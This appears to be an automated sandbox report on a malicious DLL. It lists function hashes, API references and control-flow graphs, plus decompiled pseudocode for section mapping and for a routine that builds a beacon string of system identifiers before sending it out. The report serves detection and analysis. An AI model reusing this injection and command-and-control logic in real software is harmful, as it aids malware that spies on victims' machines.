                  • Opcode ID: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction ID: b50d6a48cee6564ec076a7fa60cb333d7edb2021dcb643ca9decdf79232ff42a
                  • Opcode Fuzzy Hash: fa753cef06104476d53969443a654dc04909e7da4e769446aba477b5a702ba18
                  • Instruction Fuzzy Hash: 10211F72D00209EFCB11DFA9C8849DEFBB9EF48354F104869E615F3210D7319A498F60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02B90D2E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memorynativeCOMMON
                  Download Yara Rule
                  APIs
                  • NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,?,00001000,?,02B90D2E,?,?,?,?,009443B5), ref: 02B90D6F
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.776951148.0000000002B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2b90000_loaddll32.jbxd
                  Similarity
                  • API ID: AllocateMemoryVirtual
                  • String ID: $J
                  • API String ID: 2167126740-2211503540
                  • Opcode ID: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction ID: a144944ce536f480d440b5c239ece093cba69995cf5f387d7a3100853cdde802
                  • Opcode Fuzzy Hash: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction Fuzzy Hash: DDF0F83A604208FFEB00CEC8DD40FDDB7B8EB89324F2082A2E520E6190D7B09A049B50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02B90D8D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27nativeCOMMON
                  Download Yara Rule
                  APIs
                  • NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000,02B90D8D,?,?,?,?,?), ref: 02B90DC7
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.776951148.0000000002B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2b90000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeMemoryVirtual
                  • String ID: M%J
                  • API String ID: 3963845541-4193894376
                  • Opcode ID: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction ID: bf7872c9fe9f5693e852e83aeca34595a71a77fe32d333bc827e9c3a3d5de9a0
                  • Opcode Fuzzy Hash: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction Fuzzy Hash: B2E0C93B604118FEDB00CFD8E940DDDBB79EF89334B208262E514A60A0D7719754AB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF205B Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E02BF205B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                  0x02bf206d
                  0x02bf2073
                  0x02bf2081
                  0x02bf2088
                  0x02bf208d
                  0x02bf2093
                  0x00000000
                  0x02bf2094
                  0x00000000

                  APIs
                  • NtMapViewOfSection.NTDLL(00000000,000000FF,02BF1EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,02BF1EE8,?), ref: 02BF2088
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: SectionView
                  • String ID:
                  • API String ID: 1323581903-0
                  • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction ID: 4abebba66b64c0c60a9f651d0365d01b6510293c94993fcfceb43aae89cbe936
                  • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction Fuzzy Hash: 73F012B690020CBFDB119FB5CC85CAFBBBDEB44394B104979B652E1194D6309E088A60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02B900A5 Relevance: 1.5, Strings: 1, Instructions: 240COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.776951148.0000000002B90000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2b90000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID: t32c
                  • API String ID: 0-3674199949
                  • Opcode ID: 4d1898af064942568f44ede541fd453172a125204f10e5d68aad57594a62bb72
                  • Instruction ID: 0a9c813e2419efdc966acf46dceb7ea227890f947788934eaa71ab7959af37e4
                  • Opcode Fuzzy Hash: 4d1898af064942568f44ede541fd453172a125204f10e5d68aad57594a62bb72
                  • Instruction Fuzzy Hash: AB910536A00219EFDF24DB94CD80BAEBB76FF89310F2485E5E51867261D7306A91DF50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB43B50 Relevance: 82.7, APIs: 43, Strings: 4, Instructions: 490memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 166 6cb43b50-6cb43c78 call 6cb42520 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 VirtualAlloc GetCommandLineA call 6cb42490 188 6cb43c7d-6cb43c9a call 6cb43770 call 6cb42730 166->188 192 6cb43c9f-6cb43cb2 188->192 193 6cb43fec-6cb43ff0 192->193 194 6cb43cb8-6cb43cc4 192->194 196 6cb442a6-6cb442d5 call 6cb42750 193->196 197 6cb43ff6-6cb43ffd 193->197 194->193 195 6cb43cca-6cb43cde call 6cb44480 194->195 195->193 207 6cb43ce4-6cb43da3 call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 195->207 200 6cb44008-6cb4400e 197->200 201 6cb44010-6cb4402f call 6cb44450 200->201 202 6cb44031-6cb4426e GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 200->202 201->200 331 6cb44279-6cb44282 202->331 247 6cb43fdf-6cb43fe7 call 6cb43420 207->247 248 6cb43da9-6cb43db0 207->248 247->192 251 6cb43dbb-6cb43dbf 248->251 254 6cb43e16-6cb43fad GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 call 6cb42490 call 6cb43770 call 6cb42730 251->254 255 6cb43dc1-6cb43e14 GetCommandLineA call 6cb42490 call 6cb43770 call 6cb42730 call 6cb44450 251->255 325 6cb43fb8-6cb43fbc 254->325 255->251 327 6cb43fbe-6cb43fd6 325->327 328 6cb43fd8 325->328 327->325 328->247 332 6cb44284-6cb4429c 331->332 333 6cb4429e-6cb442a1 call 6cb43420 331->333 332->331 333->196
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$CommandLine$AllocVirtual
                  • String ID: @$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/$fbdfbfdgfdbdf$fbdfbfdgfdbdf
                  • API String ID: 620036164-1458564314
                  • Opcode ID: cea14b6b4a59a36ef6f64ad474112c47137b138e8c4135055f4be749c5eadf51
                  • Instruction ID: 40afbb276ea24ea4fa604b9ccacb43e0bbcffa9248fa553f2ffc571e2f15d527
                  • Opcode Fuzzy Hash: cea14b6b4a59a36ef6f64ad474112c47137b138e8c4135055f4be749c5eadf51
                  • Instruction Fuzzy Hash: 8132A071D08198DBDF05CBA4C994BEEBB75AF25308F148099D142A7694DB306F48EFA2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB561BB Relevance: 41.3, APIs: 19, Strings: 4, Instructions: 1096COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 336 6cb561bb-6cb5680e call 6cb444f0 * 11 440 6cb56810-6cb56829 call 6cb43a70 336->440 441 6cb56859-6cb56906 call 6cb525a0 call 6cb45570 call 6cb45040 * 2 call 6cb43a70 call 6cb45040 call 6cb57610 336->441 447 6cb56834-6cb56841 call 6cb57610 440->447 466 6cb5690c-6cb56a44 call 6cb49db0 call 6cb45eb0 call 6cb44cd0 call 6cb45080 call 6cb44e30 call 6cb49db0 call 6cb45eb0 call 6cb44cd0 call 6cb45080 call 6cb44e30 call 6cb42730 * 2 441->466 467 6cb56a49-6cb56ab1 call 6cb5f420 call 6cb45570 call 6cb49e80 441->467 447->441 452 6cb56843-6cb56857 call 6cb49ec0 447->452 452->447 480 6cb572c4-6cb572e4 call 6cb45040 call 6cb43420 467->480 481 6cb56ab7-6cb56ac6 call 6cb437a0 467->481 500 6cb572ef-6cb572fd call 6cb57610 480->500 490 6cb571c7-6cb571ce 481->490 491 6cb56acc-6cb56adc call 6cb437a0 481->491 496 6cb571d9-6cb571e7 call 6cb57610 490->496 503 6cb56fb2-6cb56fb9 491->503 504 6cb56ae2-6cb56b05 call 6cb45f10 call 6cb444f0 491->504 506 6cb572ad-6cb572bf call 6cb45f10 call 6cb57690 496->506 507 6cb571ed-6cb572a8 call 6cb49db0 call 6cb45eb0 call 6cb44cd0 call 6cb45080 call 6cb44e30 call 6cb42490 call 6cb42730 * 2 496->507 513 6cb57316-6cb5731d 500->513 514 6cb572ff-6cb57314 call 6cb49f00 500->514 510 6cb56fc4-6cb56fcf call 6cb57610 503->510 540 6cb56b07-6cb56b11 504->540 541 6cb56b13 504->541 506->480 507->496 526 6cb56fd5-6cb570b1 call 6cb49db0 call 6cb45eb0 call 6cb44cd0 call 6cb45080 call 6cb44e30 call 6cb42490 * 2 call 6cb42730 * 3 510->526 527 6cb570b6-6cb570ce call 6cb43a70 510->527 521 6cb57328-6cb57336 call 6cb57610 513->521 514->500 545 6cb5734f-6cb57429 call 6cb45f10 call 6cb48e10 call 6cb57640 call 6cb49e20 call 6cb42730 * 2 call 6cb437a0 521->545 546 6cb57338-6cb5734d call 6cb49ec0 521->546 526->510 554 6cb570d9-6cb570e7 call 6cb57610 527->554 542 6cb56b1d-6cb56b2b 540->542 541->542 549 6cb56b2d-6cb56b37 542->549 550 6cb56b39 542->550 637 6cb57534-6cb57605 call 6cb45040 call 6cb42420 call 6cb42750 * 4 call 6cb42730 * 6 545->637 638 6cb5742f-6cb57447 call 6cb43a70 545->638 546->521 557 6cb56b43-6cb56b5a call 6cb444f0 549->557 550->557 574 6cb57106-6cb5713a call 6cb48e10 554->574 575 6cb570e9-6cb57104 call 6cb42490 call 6cb42730 554->575 580 6cb56b5c-6cb56b66 557->580 581 6cb56b68 557->581 588 6cb5713f-6cb571c2 call 6cb57640 call 6cb49e20 call 6cb42730 * 2 574->588 575->554 589 6cb56b72-6cb56b7e 580->589 581->589 588->490 595 6cb56b80-6cb56b8a 589->595 596 6cb56b8c 589->596 602 6cb56b96-6cb56bb1 call 6cb444f0 595->602 596->602 619 6cb56bb3-6cb56bbd 602->619 620 6cb56bbf 602->620 622 6cb56bc9-6cb56bd5 619->622 620->622 628 6cb56bd7-6cb56be1 622->628 629 6cb56be3 622->629 633 6cb56bed-6cb56c04 call 6cb444f0 628->633 629->633 645 6cb56c06-6cb56c10 633->645 646 6cb56c12 633->646 651 6cb57452-6cb57460 call 6cb57610 638->651 650 6cb56c1c-6cb56c28 645->650 646->650 654 6cb56c36 650->654 655 6cb56c2a-6cb56c34 650->655 660 6cb57466-6cb574fe call 6cb49db0 call 6cb45eb0 call 6cb44cd0 call 6cb45080 call 6cb44e30 call 6cb42730 651->660 661 6cb57503-6cb5751e call 6cb50a70 651->661 659 6cb56c40-6cb56c5b call 6cb444f0 654->659 655->659 671 6cb56c5d-6cb56c67 659->671 672 6cb56c69 659->672 660->651 668 6cb57523-6cb57531 661->668 668->637 673 6cb56c73-6cb56c7f 671->673 672->673 676 6cb56c81-6cb56c8b 673->676 677 6cb56c8d 673->677 680 6cb56c97-6cb56ca8 676->680 677->680 683 6cb56cb6 680->683 684 6cb56caa-6cb56cb4 680->684 687 6cb56cc0-6cb56cd7 call 6cb444f0 683->687 684->687 697 6cb56ce5 687->697 698 6cb56cd9-6cb56ce3 687->698 701 6cb56cef-6cb56cfb 697->701 698->701 704 6cb56cfd-6cb56d07 701->704 705 6cb56d09 701->705 708 6cb56d13-6cb56d2e call 6cb444f0 704->708 705->708 714 6cb56d30-6cb56d3a 708->714 715 6cb56d3c 708->715 717 6cb56d46-6cb56d52 714->717 715->717 719 6cb56d54-6cb56d5e 717->719 720 6cb56d60 717->720 722 6cb56d6a-6cb56d85 call 6cb444f0 719->722 720->722 725 6cb56d87-6cb56d91 722->725 726 6cb56d93 722->726 727 6cb56d9d-6cb56da9 725->727 726->727 728 6cb56db7 727->728 729 6cb56dab-6cb56db5 727->729 730 6cb56dc1-6cb56dcd 728->730 729->730 731 6cb56dcf-6cb56dd9 730->731 732 6cb56ddb 730->732 733 6cb56de5-6cb56dfe call 6cb444f0 731->733 732->733 736 6cb56e00-6cb56e0a 733->736 737 6cb56e0c 733->737 738 6cb56e16-6cb56e25 736->738 737->738 739 6cb56e27-6cb56e31 738->739 740 6cb56e33 738->740 741 6cb56e3d-6cb56e56 call 6cb444f0 739->741 740->741 744 6cb56e64 741->744 745 6cb56e58-6cb56e62 741->745 746 6cb56e6e-6cb56e7a 744->746 745->746 747 6cb56e7c-6cb56e86 746->747 748 6cb56e88 746->748 749 6cb56e92-6cb56e9e 747->749 748->749 750 6cb56ea0-6cb56eaa 749->750 751 6cb56eac 749->751 752 6cb56eb6-6cb56ecf call 6cb444f0 750->752 751->752 755 6cb56ed1-6cb56edb 752->755 756 6cb56edd 752->756 757 6cb56ee7-6cb56ef6 755->757 756->757 758 6cb56f04 757->758 759 6cb56ef8-6cb56f02 757->759 760 6cb56f0e-6cb56f1a 758->760 759->760 761 6cb56f1c-6cb56f26 760->761 762 6cb56f28 760->762 763 6cb56f32-6cb56f4b call 6cb444f0 761->763 762->763 766 6cb56f4d-6cb56f57 763->766 767 6cb56f59 763->767 768 6cb56f63-6cb56f74 766->768 767->768 769 6cb56f76-6cb56f80 768->769 770 6cb56f82 768->770 771 6cb56f8c-6cb56f98 769->771 770->771 772 6cb56fa8-6cb56fad call 6cb43420 771->772 773 6cb56f9a-6cb56fa3 call 6cb45040 771->773 772->503 773->772
                  Strings
                  • sgCjqZdJcQl, xrefs: 6CB57078
                  • OXUgGEeVBZGtTWlJEtjMbnFt, xrefs: 6CB5727E
                  • raragZeFMLcyQsXHFLCTkstwZjPk, xrefs: 6CB57064
                  • sOwyZdiVhLcOasyyblzumHijBVRYwjyB, xrefs: 6CB570E9
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID:
                  • String ID: OXUgGEeVBZGtTWlJEtjMbnFt$raragZeFMLcyQsXHFLCTkstwZjPk$sOwyZdiVhLcOasyyblzumHijBVRYwjyB$sgCjqZdJcQl
                  • API String ID: 0-1667958176
                  • Opcode ID: bee6cff21af7a753a65f140b4323149e0a49a2a936d0f17320a742da806de6a5
                  • Instruction ID: 78bb33aaf58e5cea0792c06ea4fb3c38814f82f08da802b13a96522704a56899
                  • Opcode Fuzzy Hash: bee6cff21af7a753a65f140b4323149e0a49a2a936d0f17320a742da806de6a5
                  • Instruction Fuzzy Hash: 3EB22670D092A8CBDF24CF54C894BEEB7B5AB55308F8481D9D109ABB84DB709E98CF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C53CE0 Relevance: 37.7, APIs: 25, Instructions: 222memorystringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 69%
                  			E02C53CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0x2c5a3e0; // 0x3ad9be0
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0x2c5a2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0x2c5a018; // 0xffd58d38
					asm("bswap eax");
					_t34 =  *0x2c5a014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0x2c5a010; // 0xd8d2f808
					asm("bswap eax");
					_t36 =  *0x2c5a00c; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0x2c5a348; // 0xe7d5a8
					_t3 = _t37 + 0x2c5b5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0x2c5a02c,  *0x2c5a004, _t112);
					_t40 = E02C5467F();
					_t41 =  *0x2c5a348; // 0xe7d5a8
					_t4 = _t41 + 0x2c5b575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0x2c5a348; // 0xe7d5a8
						_t8 = _t93 + 0x2c5b508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0x2c5a348; // 0xe7d5a8
					_t10 = _t45 + 0x2c5b246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E02C5472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0x2c5a348; // 0xe7d5a8
						_t12 = _t88 + 0x2c5b8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0x2c5a2d8, 0, _t105);
					}
					_t106 = E02C51340();
					if(_t106 != 0) {
						_t83 =  *0x2c5a348; // 0xe7d5a8
						_t14 = _t83 + 0x2c5b8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0x2c5a2d8, 0, _t106);
					}
					_t107 =  *0x2c5a3cc; // 0x3ad9600
					_a20 = E02C56B59( &E02C5A00A, _t107 + 4);
					_t53 =  *0x2c5a36c; // 0x3ad95b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0x2c5a348; // 0xe7d5a8
						_t17 = _t80 + 0x2c5b8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t116 = RtlAllocateHeap( *0x2c5a2d8, _t109, 0x800);
						if(_t116 != _t109) {
							E02C52915(GetTickCount());
							_t59 =  *0x2c5a3cc; // 0x3ad9600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0x2c5a3cc; // 0x3ad9600
							__imp__(_t63 + 0x40);
							_t65 =  *0x2c5a3cc; // 0x3ad9600
							_t66 = E02C56675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0x2c59280);
								_push(_t119);
								_t71 = E02C57563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E02C521A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E02C563F6();
									}
									HeapFree( *0x2c5a2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0x2c5a2d8, _t109, _t119);
							}
							RtlFreeHeap( *0x2c5a2d8, _t109, _t116); // executed
						}
						HeapFree( *0x2c5a2d8, _t109, _a12);
					}
					RtlFreeHeap( *0x2c5a2d8, _t109, _t98); // executed
				}
				return _v16;
			}


























































                  0x02c53ce0
                  0x02c53ce0
                  0x02c53ce0
                  0x02c53cf5
                  0x02c53cf7
                  0x02c53cfc
                  0x02c53d00
                  0x02c53d08
                  0x02c53d0e
                  0x02c53d12
                  0x02c53d1a
                  0x02c53d22
                  0x02c53d22
                  0x02c53d24
                  0x02c53d30
                  0x02c53d3f
                  0x02c53d44
                  0x02c53d47
                  0x02c53d4c
                  0x02c53d4f
                  0x02c53d54
                  0x02c53d57
                  0x02c53d63
                  0x02c53d70
                  0x02c53d72
                  0x02c53d78
                  0x02c53d7d
                  0x02c53d88
                  0x02c53d8a
                  0x02c53d8d
                  0x02c53d93
                  0x02c53d95
                  0x02c53d9e
                  0x02c53da9
                  0x02c53dab
                  0x02c53dae
                  0x02c53dae
                  0x02c53db0
                  0x02c53db5
                  0x02c53dc1
                  0x02c53dc3
                  0x02c53dc6
                  0x02c53dc8
                  0x02c53dcd
                  0x02c53dd1
                  0x02c53dd3
                  0x02c53dd8
                  0x02c53de4
                  0x02c53de6
                  0x02c53df2
                  0x02c53df4
                  0x02c53df4
                  0x02c53dff
                  0x02c53e03
                  0x02c53e05
                  0x02c53e0a
                  0x02c53e16
                  0x02c53e18
                  0x02c53e24
                  0x02c53e26
                  0x02c53e26
                  0x02c53e2c
                  0x02c53e3f
                  0x02c53e43
                  0x02c53e48
                  0x02c53e4c
                  0x02c53e4f
                  0x02c53e54
                  0x02c53e5e
                  0x02c53e60
                  0x02c53e67
                  0x02c53e7f
                  0x02c53e83
                  0x02c53e8f
                  0x02c53e94
                  0x02c53e9d
                  0x02c53eae
                  0x02c53eb2
                  0x02c53ebb
                  0x02c53ec1
                  0x02c53ec9
                  0x02c53ece
                  0x02c53edb
                  0x02c53ee1
                  0x02c53eed
                  0x02c53ef3
                  0x02c53ef4
                  0x02c53ef9
                  0x02c53eff
                  0x02c53f05
                  0x02c53f0c
                  0x02c53f13
                  0x02c53f19
                  0x02c53f20
                  0x02c53f24
                  0x02c53f2f
                  0x02c53f34
                  0x02c53f3a
                  0x02c53f43
                  0x02c53f43
                  0x02c53f54
                  0x02c53f5a
                  0x02c53f5a
                  0x02c53f64
                  0x02c53f64
                  0x02c53f72
                  0x02c53f72
                  0x02c53f83
                  0x02c53f83
                  0x02c53f91
                  0x02c53f91
                  0x02c53fa2

                  APIs
                  • RtlAllocateHeap.NTDLL ref: 02C53D08
                  • GetTickCount.KERNEL32 ref: 02C53D1C
                  • wsprintfA.USER32 ref: 02C53D6B
                  • wsprintfA.USER32 ref: 02C53D88
                  • wsprintfA.USER32 ref: 02C53DA9
                  • wsprintfA.USER32 ref: 02C53DC1
                  • wsprintfA.USER32 ref: 02C53DE4
                  • HeapFree.KERNEL32(00000000,00000000), ref: 02C53DF4
                  • wsprintfA.USER32 ref: 02C53E16
                  • HeapFree.KERNEL32(00000000,00000000), ref: 02C53E26
                  • wsprintfA.USER32 ref: 02C53E5E
                  • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02C53E79
                  • GetTickCount.KERNEL32 ref: 02C53E89
                  • RtlEnterCriticalSection.NTDLL(03AD95C0), ref: 02C53E9D
                  • RtlLeaveCriticalSection.NTDLL(03AD95C0), ref: 02C53EBB
                    • Part of subcall function 02C56675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566A0
                    • Part of subcall function 02C56675: lstrlen.KERNEL32(00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566A8
                    • Part of subcall function 02C56675: strcpy.NTDLL ref: 02C566BF
                    • Part of subcall function 02C56675: lstrcat.KERNEL32(00000000,00000000), ref: 02C566CA
                    • Part of subcall function 02C56675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,02C53ECE,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C566E7
                  • StrTrimA.SHLWAPI(00000000,02C59280,00000000,03AD9600), ref: 02C53EED
                    • Part of subcall function 02C57563: lstrlen.KERNEL32(03AD9BD0,00000000,00000000,00000000,02C53EF9,00000000), ref: 02C57573
                    • Part of subcall function 02C57563: lstrlen.KERNEL32(?), ref: 02C5757B
                    • Part of subcall function 02C57563: lstrcpy.KERNEL32(00000000,03AD9BD0), ref: 02C5758F
                    • Part of subcall function 02C57563: lstrcat.KERNEL32(00000000,?), ref: 02C5759A
                  • lstrcpy.KERNEL32(00000000,?), ref: 02C53F0C
                  • lstrcpy.KERNEL32(00000000,?), ref: 02C53F13
                  • lstrcat.KERNEL32(00000000,?), ref: 02C53F20
                  • lstrcat.KERNEL32(00000000,00000000), ref: 02C53F24
                    • Part of subcall function 02C521A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02C52258
                  • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 02C53F54
                  • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C53F64
                  • RtlFreeHeap.NTDLL(00000000,00000000,00000000,03AD9600), ref: 02C53F72
                  • HeapFree.KERNEL32(00000000,?), ref: 02C53F83
                  • RtlFreeHeap.NTDLL(00000000,00000000), ref: 02C53F91
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
